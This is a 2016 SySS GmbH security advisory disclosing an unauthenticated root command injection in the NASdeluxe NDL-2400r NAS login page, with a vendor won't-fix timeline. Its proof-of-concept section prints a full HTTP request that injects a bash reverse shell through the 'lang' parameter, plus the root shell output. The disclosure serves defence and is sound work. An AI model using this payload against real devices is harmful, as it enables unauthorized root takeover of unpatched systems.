[SYSS-2016-065] NASdeluxe NDL-2400r: OS Command Injection

["Klaus Eisentraut (SySS GmbH)" <Klaus.Eisentraut () SySS de>]

Advisory ID: SYSS-2016-065

Product: NASdeluxe NDL-2400r

Vendor: Starline Computer GmbH

Affected Version(s): 2.01.10

Tested Version(s): 2.01.09

Vulnerability Type: OS Command Injection (CWE-78)

Risk Level: High

Solution Status: no fix (product has reached EOL since 3 years)

Vendor Notification: 2016-07-04

Public Disclosure: 2016-08-03

CVE Reference: Not assigned

Author of Advisory: Klaus Eisentraut, SySS GmbH,
https://www.syss.de/advisories/



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Overview:



The product "NASdeluxe NDL-2400r" [3] is vulnerable to OS Command Injection
 as root. No credentials are required to exploit this vulnerability.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Vulnerability Details / Proof-of-Concept:



The language parameter in the web interface login request of the product
"NASdeluxe NDL-2400r" is vulnerable to an OS Command Injection as root.

The SySS GmbH sent the following HTTPS request to the webinterface:



~~~~~

POST /usr/usrgetform.html?name=index HTTP/1.1

Host: 192.168.1.1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 97



lang=||`bash+-i+>%26+/dev/tcp/192.168.1.2/443+0>%261`&username=&pwd=&site=web_disk&login_btn=Einloggen

~~~~~



After sending the request, a reverse shell connected back:



~~~~~

# nc -lvvp 443

Listening on any address 443 (https)

Connection from 192.168.1.1:49070

bash: no job control in this shell

bash-3.00# whoami

root

bash-3.00# cat /img/version

2.01.09

~~~~~



The tested firmware version was 2.01.09. The most current version is

2.01.10 according to the web page of the vendor [3]. However there are

no hints of a security update in the release notes [4]. Thus, the SySS

GmbH assumes that this vulnerability is likely also present in the most

current firmware version from 2009-10-22.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Solution:



The product has reached end-of-life (EOL) status since more than three

years. Thus, no patch will be provided by the vendor.



It is highly recommended to migrate to one of the newer and still

supported NAS solutions which are (according to Starline Computer GmbH)

not affected by this vulnerability.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Disclosure Timeline:



2016-06-29: Vulnerability discovered

2016-07-04: asked info () starline de for contact person (no answer)

2016-07-22: sent this advisory to info () starline de

2016-07-22: response from vendor: won't fix (product reached EOL >3
years)

2016-08-03: public disclosure



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



References:



[1] SySS GmbH, SYSS-2016-065


https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-065.txt

[2] SySS GmbH, SySS Responsible Disclosure Policy

    https://www.syss.de/en/news/responsible-disclosure-policy/

[3] NASdeluxe Homepage

    https://www.nasdeluxe.com/

[4] NDL-2400R Firmware Release Notes


https://www.nasdeluxe.com/wp-content/uploads/2008/12/NDL-2400R_NDL-2500T_FWRN_v2_01_10.171.pdf



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Credits:



This security vulnerability was found by Klaus Eisentraut of the SySS

GmbH.



E-Mail: klaus.eisentraut () syss de

Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Klaus_Eisentraut.asc

Key ID: 0xBAC677AE

Key Fingerprint: F5E8 E8E1 A414 4886 0A8B 0411 DAB0 4DB5 BAC6 77AE



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Disclaimer:



The information provided in this security advisory is provided "as is"

and without warranty of any kind. Details of this security advisory may

be updated in order to provide as accurate information as possible. The

latest version of this security advisory is available on the SySS Web

site.



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



Copyright:



Creative Commons - Attribution (by) - Version 3.0

URL: http://creativecommons.org/licenses/by/3.0/deed.en

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Description: OpenPGP digital signature

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